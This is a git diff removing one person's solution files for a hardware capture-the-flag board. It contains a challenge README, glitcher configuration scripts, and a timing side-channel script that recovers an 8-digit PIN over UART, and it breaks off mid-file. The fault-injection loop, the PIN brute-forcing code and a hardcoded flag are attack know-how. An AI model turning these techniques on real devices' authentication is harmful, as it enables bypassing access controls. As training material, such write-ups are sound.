[01_GoB_config.py](docs/01_GoB_config.py) - -It looks as follows: - -![glitch-o-bolt](docs/01_GoB.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md deleted file mode 100644 index 689c199..0000000 --- a/Misc/12Sec_CTF_V1/README.md +++ /dev/null @@ -1,25 +0,0 @@ -12Sec CTF - PwnPad v1.0 -=============== - -This is where I am storing my documentation and solutions for the PwnPad CTF. - -## Status - -|done|#|Name|Topics|Description| -|---|---|---|---|---| -|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.| -|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.| -|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.| -|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.| -|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.| -|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.| -|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.| -|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.| -|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.| -|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.| -|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.| -|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.| - -## The Board - -![PwnPad main board](docs/pwnpad.png) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png deleted file mode 100644 index 323ad56..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py deleted file mode 100644 index 19bd20d..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py +++ /dev/null @@ -1,50 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 -UART_NEWLINE = "" - -### -# name, enabled, string to match -### -conditions = [ - ['1', False, "", 'one'], - ['2', False, "", 'two'], - ['3', False, "", 'three'], -] - -###### -# Custom functions -###### - -# Toggle states for each function -toggle_state_one = 0 -toggle_state_two = 0 -toggle_state_three = 0 - -def one(): - global toggle_state_one - functions.send_uart_message("1") - functions.send_uart_message(str(toggle_state_one)) - toggle_state_one = 1 - toggle_state_one - -def two(): - global toggle_state_two - functions.send_uart_message("2") - functions.send_uart_message(str(toggle_state_two)) - toggle_state_two = 1 - toggle_state_two - -def three(): - global toggle_state_three - functions.send_uart_message("3") - functions.send_uart_message(str(toggle_state_three)) - toggle_state_three = 1 - toggle_state_three - diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png deleted file mode 100644 index 2620b36..0000000 --- a/Misc/12Sec_CTF_V1/docs/01_setup.png +++ /dev/null Binary files differ diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py deleted file mode 100644 index 2671dec..0000000 --- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py +++ /dev/null @@ -1,7 +0,0 @@ -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 31250 - diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py deleted file mode 100644 index 0ee78c6..0000000 --- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py +++ /dev/null @@ -1,44 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', True], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### name, enabled, string to match ### -conditions = [ - ["Flag", True, "TS{", "stop_glitch"], -] - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py deleted file mode 100644 index 1185630..0000000 --- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py +++ /dev/null @@ -1,108 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -LENGTH = 10 -REPEAT = 10 -DELAY = 10 - -### -# ^ = pullup, v = pulldown -### -triggers = [ - ['-', False], #0 - ['^', False], #1 - ['-', False], #2 - ['-', False], #3 - ['-', False], #4 - ['-', False], #5 - ['-', False], #6 - ['-', False], #7 -] - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### -# Custom functions -###### -def setup_buttons(): - functions.run_output_low(0, 3000) - functions.run_output_low(1, 3000) - functions.run_output_low(2, 3000) - functions.run_output_low(3, 3000) - -def button_ok(): - functions.run_output_high(0, 15000000) # Can also run_output_low() if needed - functions.set_trigger_value(0, True) - functions.run_output_low(0, 3000) - - last_state = functions.get_trigger_value(0) - start_time = time.time() - - while True: - current_state = functions.get_trigger_value(0) - - # Detect rising edge: 0 → 1 - if last_state == 0 and current_state == 1: - functions.set_trigger_value(0, False) - functions.add_text("[code check complete]") - break - - # Exit if 1 second has elapsed - if time.time() - start_time >= 1.0: - functions.add_text("[timeout: no input detected within 1 second]") - break - - last_state = current_state - time.sleep(0.01) # Polling interval (10 ms) - - -def button_dash(): - functions.run_output_high(1, 1500000) ## can also run_output_low() if need too - functions.run_output_low(1, 3000) - -def button_space(): - functions.run_output_high(2, 1500000) ## can also run_output_low() if need too - functions.run_output_low(2, 3000) - -def button_dot(): - functions.run_output_high(3, 1500000) ## can also run_output_low() if need too - functions.run_output_low(3, 3000) - - -def echo_trigger_state(): - for channel in range(8): - state = functions.get_trigger_value(channel) - if state == 1: - functions.add_text(f"Channel {channel}: HIGH") - else: - functions.add_text(f"Channel {channel}: LOW") - -def stop_glitch(): - elapsed = functions.get_glitch_elapsed() - - functions.set_trigger_value(1, False) - functions.set_uart_switch(False) - - functions.glitching_switch(False) - functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})") \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py deleted file mode 100644 index 94c453d..0000000 --- a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py +++ /dev/null @@ -1,155 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -from arduinIO import ArduinoController -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -###### -# arduinIO values -###### -ARDIO_PORT = "/dev/ttyACM2" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 -ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash -ARDIO_PULSE_DURATION_MS = 300 - -arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) -arduino.connect() - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ['run', False, "", 'find_code'], -] - -###### -# Custom functions -###### -def setup_buttons(): - version = arduino.get_version() - functions.add_text(f"[INFO] Connected to Arduino: {version}") - - # Configure pins - functions.add_text("[INFO] Configuring pin modes...") - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - for pin in ARDIO_OUTPUT_PINS: - arduino.set_mode(pin, "OUTPUT") - arduino.set_default(pin, "LOW") - - # Display current configuration - pinmap = arduino.get_pinmap() - functions.add_text(f"[INFO] Pin map: {pinmap}") - - -def button_ok(): - # Pulse one output pin - functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dash(): - functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_space(): - functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dot(): - functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def echo_trigger_state(): - state = arduino.get_state(ARDIO_INPUT_PIN) - functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") - -def find_code(): - """ - Discover a five-digit code by sending candidate pulses and measuring the - interval from sending OK (pin 8) until input goes HIGH using wait_for(). - - For each digit: - - Send one pulse for previously found digits. - - Send repeated pulses of the candidate digit to fill 5 pulses. - - Pulse OK (pin 8) to trigger the device. - - Measure duration using wait_for() for input HIGH. - - Select candidate with the longest LOW duration before HIGH. - """ - candidate_pins = [9, 10, 11] - code_sequence = [] - pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"} - - button_ok() - functions.add_text("[INFO] Pulsing output pin 8 to reset device...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - functions.add_text("[INFO] Starting full code discovery sequence...") - - for digit_index in range(5): - functions.add_text(f"[INFO] Finding digit {digit_index + 1}...") - results = {} - - for test_pin in candidate_pins: - # Build sequence: previously found digits + candidate repeated - sequence = code_sequence.copy() - remaining_pulses = 5 - len(sequence) - sequence += [test_pin] * remaining_pulses - symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] - functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), " - f"sequence: {' '.join(symbol_seq)} ...") - - # Send sequence pulses (without timing) - for pin in sequence: - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.1) - - # Start timer and pulse OK (pin 8) - start_time = time.time() - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - - # Wait for input to go HIGH and measure duration - result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") - end_time = time.time() - - # Use the Arduino-provided LOW duration, fallback to timer if needed - duration = result.get("duration_ms", int((end_time - start_time) * 1000)) - functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.") - - results[test_pin] = duration - time.sleep(0.3) - - # Select candidate with longest duration (correct digit) - correct_pin = max(results, key=results.get) - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " - f"{pin_to_symbol.get(correct_pin)}") - code_sequence.append(correct_pin) - - translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] - functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") - functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") - - return code_sequence, translated_sequence \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py deleted file mode 100644 index 01de69c..0000000 --- a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py +++ /dev/null @@ -1,152 +0,0 @@ -###### -# LEAVE THESE IMPORTS! -###### -from arduinIO import ArduinoController -import functions -import time - -###### -# config values -###### - -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 9600 - -###### -# arduinIO values -###### -ARDIO_PORT = "/dev/ttyACM2" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 -ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash -ARDIO_PULSE_DURATION_MS = 300 - -arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) -arduino.connect() - -### -# name, enabled, string to match -### -conditions = [ - ['rdy', False, "", 'setup_buttons'], - ['ok', False, "", 'button_ok'], - ['dash', False, "", 'button_dash'], - ['spce', False, "", 'button_space'], - ['dot', False, "", 'button_dot'], - ['check', False, "", 'echo_trigger_state'], - ['run', False, "", 'find_code'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### -# Custom functions -###### -def setup_buttons(): - version = arduino.get_version() - functions.add_text(f"[INFO] Connected to Arduino: {version}") - - # Configure pins - functions.add_text("[INFO] Configuring pin modes...") - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - for pin in ARDIO_OUTPUT_PINS: - arduino.set_mode(pin, "OUTPUT") - arduino.set_default(pin, "LOW") - - # Display current configuration - pinmap = arduino.get_pinmap() - functions.add_text(f"[INFO] Pin map: {pinmap}") - - -def button_ok(): - # Pulse one output pin - functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dash(): - functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_space(): - functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def button_dot(): - functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...") - arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - -def echo_trigger_state(): - state = arduino.get_state(ARDIO_INPUT_PIN) - functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}") - -def find_code(): - candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate - code_sequence = [] - pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"} - - functions.add_text("[INFO] Starting full code discovery sequence") - - for digit_index in range(4): - functions.add_text(f"[INFO] Finding digit {digit_index + 1}") - results = {} - - for test_pin in candidate_pins: - # Build the sequence: previously found digits + candidate repeated to fill 4 pulses - sequence = code_sequence.copy() - remaining_pulses = 4 - len(sequence) - sequence += [test_pin] * remaining_pulses - symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence] - functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), " - f"sequence: {' '.join(symbol_seq)}") - - # Send all pulses in the sequence, starting timer immediately before the fourth pulse - for i, pin in enumerate(sequence): - if i == len(sequence) - 1: - # Start timer immediately before sending the fourth pulse - start_time = time.time() - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - # Allow a short interval for the device to react - time.sleep(0.05) - # Wait for the input to go HIGH and capture result - result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH") - end_time = time.time() - - # Safely extract duration from result or compute fallback - if isinstance(result, dict): - duration = result.get("duration_ms", - int((end_time - start_time) * 1000)) - else: - duration = int((end_time - start_time) * 1000) - - functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.") - results[test_pin] = duration - else: - arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS) - time.sleep(0.5) - - # small pause between candidates - time.sleep(0.8) - - # Choose the candidate with the longest duration for this digit - correct_pin = max(results, key=results.get) - code_sequence.append(correct_pin) - - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}") - functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): " - f"{pin_to_symbol.get(correct_pin)}") - - translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence] - functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}") - functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}") - - return code_sequence, translated_sequence - -def stop_glitch(): - functions.set_uart_switch(False) \ No newline at end of file diff --git a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py deleted file mode 100644 index f7e8036..0000000 --- a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py +++ /dev/null @@ -1,123 +0,0 @@ -import functions -import threading -import time - -###### Config values ###### -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 1000000 -UART_NEWLINE = "\n" - -LENGTH = 12 -REPEAT = 1 -DELAY = 0 - -### name, enabled, string to match ### -conditions = [ - ['run', True, 'Password:', 'try_glitch'], - ["Flag", True, "TS{", "stop_glitch"], -] - -###### Custom functions ###### -def try_glitch(): - Len = functions.get_config_value("length") - Rep = functions.get_config_value("repeat") - Del = functions.get_config_value("delay") - time.sleep(0.2) - - tx_thread = threading.Thread( - target=functions.send_uart_message, - args=("aaaaaaaaaaaaaaaaaaaaa",), - daemon=True - ) - - glitch_thread = threading.Thread( - target=functions.start_glitch, - args=(Len, Rep, Del), - daemon=True - ) - - glitch_thread.start() - tx_thread.start() - - try: - current_delay = int(Del) - except (ValueError, TypeError): - current_delay = 0 - - try: - current_repeat = int(Rep) - except (ValueError, TypeError): - current_repeat = 0 - - new_delay = current_delay + 1 - - if new_delay >= 51: - new_delay = 0 - new_repeat = current_repeat + 1 - if new_repeat >= 20: - new_repeat = 1 - functions.set_config_value("repeat", new_repeat) - - functions.set_config_value("delay", new_delay) - - -def stop_glitch(): - buf = functions.read_uart_buffer() - - if "TS{D@mn_y0u_@r3_g006}" in buf: - functions.start_glitch(16, 1, 0) - else: - functions.set_condition_value(0, False) - functions.set_uart_switch(False) - - -###### Inactivity watchdog ###### -def config_inactivity_monitor(timeout=5): - """ - Monitor 'delay' and 'repeat' configuration values. - Restart device if they do not change for 'timeout' seconds - AND condition 0 remains True. - """ - # Wait for functions.config to be initialised - while True: - try: - _ = functions.get_config_value("delay") - break - except AttributeError: - print("[Watchdog] Waiting for configuration to initialise...") - time.sleep(1) - - last_delay = functions.get_config_value("delay") - last_repeat = functions.get_config_value("repeat") - last_change_time = time.time() - - while True: - try: - current_delay = functions.get_config_value("delay") - current_repeat = functions.get_config_value("repeat") - condition_active = functions.get_condition_value(0) - - if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat): - last_change_time = time.time() - last_delay = current_delay - last_repeat = current_repeat - - if condition_active and (time.time() - last_change_time > timeout): - print("[Watchdog] Inactivity detected. Restarting glitch...") - functions.start_glitch(16, 1, 0) - last_change_time = time.time() - - except Exception as e: - print(f"[Watchdog Error] {e}") - - time.sleep(1) - - -# Start watchdog thread after slight delay to allow initialisation -def start_watchdog(): - time.sleep(2) # ensures 'functions.config' is ready - monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True) - monitor_thread.start() - - -threading.Thread(target=start_watchdog, daemon=True).start() diff --git a/Misc/12Sec_CTF_V1/docs/12_solution.py b/Misc/12Sec_CTF_V1/docs/12_solution.py deleted file mode 100644 index c5188aa..0000000 --- a/Misc/12Sec_CTF_V1/docs/12_solution.py +++ /dev/null @@ -1,274 +0,0 @@ -#!/usr/bin/env python3 -""" -===================================================================== -UART Timing Analysis PIN Discovery Script (configurable start) -===================================================================== -Performs timing-based side-channel analysis to discover an 8-digit PIN -via UART, using the Arduino I/O controller for synchronised monitoring. - -This variant allows pre-setting a starting code (prefix) and the -starting position index so that discovery may resume part-way through. -Version: 1.3 -===================================================================== -""" - -import time -import serial -from arduinIO import ArduinoController - -# ================================================================ -# Configuration -# ================================================================ - -###### UART Configuration ###### -SERIAL_PORT = '/dev/ttyUSB0' -BAUD_RATE = 1199 -UART_NEWLINE = "\n" - -###### Arduino I/O Configuration ###### -ARDIO_PORT = "/dev/ttyACM0" -ARDIO_BAUDRATE = 115200 -ARDIO_INPUT_PIN = 2 - -###### Analysis Parameters ###### -PIN_LENGTH = 8 -KEYSPACE = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9'] -PAD_CHAR = 'A' -ATTEMPTS_PER_CANDIDATE = 1 - -# Optionally set a starting prefix and a starting position. -# START_CODE is the known prefix (string). It may be empty. -# START_POS is the zero-based index at which to begin discovery. -# Example: START_CODE = "253", START_POS = 3 will begin at position 4. -START_CODE = "" # e.g. "253" -START_POS = 0 # zero-based index (0..PIN_LENGTH-1). Must equal len(START_CODE). - -###### Delay Configuration (seconds) ###### -INTER_ATTEMPT_DELAY = 1.5 # Delay between attempts of same candidate -SEND_SETTLE_DELAY = 0.5 # Delay after sending message before reading input -POSITION_SETTLE_DELAY = 0.05 # Delay after finishing one position -MAX_WAIT_MS = 800 # Maximum wait for input response -MAX_UPPER_BOUND_MS = 1000 # initial upper bound for valid durations (ms) - -# ================================================================ -# Helper Functions -# ================================================================ - -def log(msg: str, level: str = "INFO"): - """Structured log output with level labels.""" - prefix = { - "INFO": "\033[94m[INFO]\033[0m", - "TEST": "\033[93m[TEST]\033[0m", - "ATTEMPT": "\033[90m[ATTEMPT]\033[0m", - "RESULT": "\033[92m[RESULT]\033[0m", - "ERROR": "\033[91m[ERROR]\033[0m", - "SUCCESS": "\033[96m[SUCCESS]\033[0m" - }.get(level, "[LOG]") - print(f"{prefix} {msg}") - - -def send_uart_message(ser, message: str): - """Send full message to UART target.""" - if not message.endswith(UART_NEWLINE): - message += UART_NEWLINE - ser.write(message.encode("utf-8")) - ser.flush() - - -def validate_start_settings(): - """Validate START_CODE and START_POS consistency and bounds.""" - if not isinstance(START_CODE, str): - raise ValueError("START_CODE must be a string.") - if not isinstance(START_POS, int): - raise ValueError("START_POS must be an integer.") - if len(START_CODE) != START_POS: - raise ValueError("Length of START_CODE must equal START_POS.") - if START_POS < 0 or START_POS > PIN_LENGTH: - raise ValueError("START_POS out of valid range.") - if len(START_CODE) > PIN_LENGTH: - raise ValueError("START_CODE longer than PIN_LENGTH.") - - -# ================================================================ -# PIN Discovery Logic -# ================================================================ - -def find_code(ser, arduino): - """ - Discover the PIN by measuring time from send until LED (ARDIO_INPUT_PIN) goes LOW. - - Important: no UART reading occurs during the timed interval. UART is only - drained before sending (to remove stale lines) and immediately after the - timing measurement completes. This avoids introducing extra delay into - the critical timing path. - """ - - validate_start_settings() - log("Starting PIN discovery (timing with no mid-send UART checks)", "INFO") - - discovered = START_CODE - start_pos = START_POS - - remaining_positions = PIN_LENGTH - start_pos - if remaining_positions <= 0: - log(f"No positions to discover. Current code: {discovered}", "INFO") - return discovered - - total_candidates = len(KEYSPACE) - total_attempts = remaining_positions * total_candidates * ATTEMPTS_PER_CANDIDATE - eta_start = time.time() - attempts_done = 0 - - for pos in range(start_pos, PIN_LENGTH): - human_pos = pos + 1 - log(f"Analysing position {human_pos}/{PIN_LENGTH}", "INFO") - timings = {} - - # Upper bound grows with each identified position (relative index) - relative_index = pos - start_pos - upper_bound = MAX_UPPER_BOUND_MS + relative_index * 20 - - for idx, candidate in enumerate(KEYSPACE): - candidate_pin = discovered + candidate + (PAD_CHAR * (PIN_LENGTH - len(discovered) - 1)) - durations = [] - - for attempt in range(ATTEMPTS_PER_CANDIDATE): - # Best-effort non-blocking drain of stale UART lines BEFORE sending - try: - while ser.in_waiting: - _ = ser.readline() # discard - except Exception: - pass - - # Clear any previous short event records on Arduino - try: - arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=1) - except Exception: - pass - - # Start timing immediately before send (critical interval begins) - t_start = time.time() - send_uart_message(ser, candidate_pin + UART_NEWLINE) - - # short settle after send (does not affect measurement start) - time.sleep(SEND_SETTLE_DELAY) - - # Perform event-based capture (no UART reads here) - dur_ms = 0 - try: - events = arduino.watch_pin(ARDIO_INPUT_PIN, duration_ms=MAX_WAIT_MS) - except Exception: - events = [] - - if events: - low_event = next((ev for ev in events if ev.get("state") == "LOW"), None) - if low_event: - dur_ms = low_event.get("duration_ms", 0) - - # Fallback blocking wait_if_no_event (still no UART reads) - if dur_ms == 0: - try: - result = arduino.wait_for(ARDIO_INPUT_PIN, "LOW") - t_end = time.time() - if isinstance(result, dict): - dur_ms = result.get("duration_ms", int((t_end - t_start) * 1000)) - else: - dur_ms = int((t_end - t_start) * 1000) - except Exception: - dur_ms = 0 - - # Immediately after measurement, drain UART non-blocking and check for success - try: - while ser.in_waiting: - line = ser.readline().decode(errors='ignore').strip() - if line and line.startswith("TS{"): - # Found success; append this candidate and return the discovered code - discovered += candidate - log(f"Device accepted code via UART: {line} -> {discovered}", "SUCCESS") - return discovered - except Exception: - # ignore serial read errors and continue - pass - - # Only include durations that lie within the allowed window - if 600 <= dur_ms <= upper_bound: - durations.append(dur_ms) - - # Update ETA (safe to compute outside critical interval) - attempts_done += 1 - elapsed = time.time() - eta_start - avg_time_per_attempt = (elapsed / attempts_done) if attempts_done else 0.0 - remaining_attempts = total_attempts - attempts_done - eta_remaining = remaining_attempts * avg_time_per_attempt - eta_min, eta_sec = divmod(int(eta_remaining), 60) - - # Overwrite attempt line - print(f"\r\033[90m[ATTEMPT]\033[0m {candidate} attempt {attempt + 1}/{ATTEMPTS_PER_CANDIDATE} → {dur_ms} ms | ETA: {eta_min}m {eta_sec}s", end='', flush=True) - - time.sleep(INTER_ATTEMPT_DELAY) - - # newline after candidate block - #print() - - # Compute average using only valid durations - avg_duration = (sum(durations) / len(durations)) if durations else 0.0 - timings[candidate] = avg_duration - print(f"\r\033[92m[RESULT]\033[0m Candidate '{candidate}' average LOW-delay: {avg_duration:.2f} ms", end='', flush=True) - print() - - # Select best candidate (largest average); fallback to '0' if none valid - if any(v > 0 for v in timings.values()): - selected = max(timings, key=timings.get) - else: - selected = '0' - - discovered += selected - log(f"Position {human_pos} selected: '{selected}' (avg {timings.get(selected, 0.0):.2f} ms)", "INFO") - - # Progress display - print(f"\n ┌───────────────────────────────┐") - print(f" │ Progress: {discovered:<8} │") - print(f" └───────────────────────────────┘\n") - - # Optional settle between positions; keep minimal if timing-sensitive - if POSITION_SETTLE_DELAY: - time.sleep(POSITION_SETTLE_DELAY) - - log(f"[SUCCESS] PIN discovery complete → {discovered}", "SUCCESS") - return discovered - - - -# ================================================================ -# Main Execution -# ================================================================ - -def main(): - log("Initialising Arduino controller...", "INFO") - arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE) - arduino.connect() - version = arduino.get_version() - log(f"Connected to Arduino firmware {version}", "INFO") - - arduino.set_mode(ARDIO_INPUT_PIN, "INPUT") - log(f"Configured Arduino input pin {ARDIO_INPUT_PIN}", "INFO") - - log(f"Connecting to UART target on {SERIAL_PORT} at {BAUD_RATE} baud...", "INFO") - ser = serial.Serial(SERIAL_PORT, BAUD_RATE, timeout=1) - log("UART connection established", "INFO") - - try: - pin = find_code(ser, arduino) - log(f"Discovered PIN: {pin}", "SUCCESS") - except KeyboardInterrupt: - log("Process interrupted by user", "ERROR") - except Exception as e: - log(f"Unexpected error: {e}", "ERROR") - finally: - ser.close() - arduino.disconnect() - log("Connections closed", "INFO") - - -if __name__ == "__main__": - main() diff --git a/Misc/12Sec_CTF_V1/docs/arduinIO.py b/Misc/12Sec_CTF_V1/docs/arduinIO.py deleted file mode 100644 index 704d31d..0000000 --- a/Misc/12Sec_CTF_V1/docs/arduinIO.py +++ /dev/null @@ -1,228 +0,0 @@ -""" -===================================================================== -ARDUINO SERIAL CONTROLLER CLASS (PYTHON) -===================================================================== -Version: 1.3.0 -Author: [Your Name] - -DESCRIPTION ---------------------------------------------------------------------- -This module provides a class-based interface to communicate with -the Arduino Serial Pin Control and Monitoring Firmware v1.3.0. - -It supports all implemented serial commands including: -- Version retrieval -- Dynamic pin mode configuration -- Pin map querying -- Output control (default state, timed pulse) -- Input monitoring and state reading -- Duration measurement and blocking wait - -===================================================================== -DEPENDENCIES ---------------------------------------------------------------------- -- pyserial (install with: pip install pyserial) - -===================================================================== -EXAMPLE USAGE ---------------------------------------------------------------------- -from arduino_controller import ArduinoController -import time - -# Create controller instance -arduino = ArduinoController(port="COM3", baudrate=115200) - -# Connect and initialise -arduino.connect() -print("Version:", arduino.get_version()) - -# Configure pins -arduino.set_mode(2, "INPUT") -arduino.set_mode(8, "OUTPUT") -arduino.set_mode(9, "OUTPUT") -arduino.set_mode(10, "OUTPUT") -arduino.set_mode(11, "OUTPUT") - -print("Pin map:", arduino.get_pinmap()) - -# Set outputs low, pulse one pin, monitor input -arduino.set_default(8, "LOW") -arduino.set_default(9, "LOW") -arduino.set_default(10, "LOW") -arduino.set_default(11, "LOW") - -arduino.set_for(8, "HIGH", 300) -arduino.watch(2) - -# Read input state and duration -state = arduino.get_state(2) -duration = 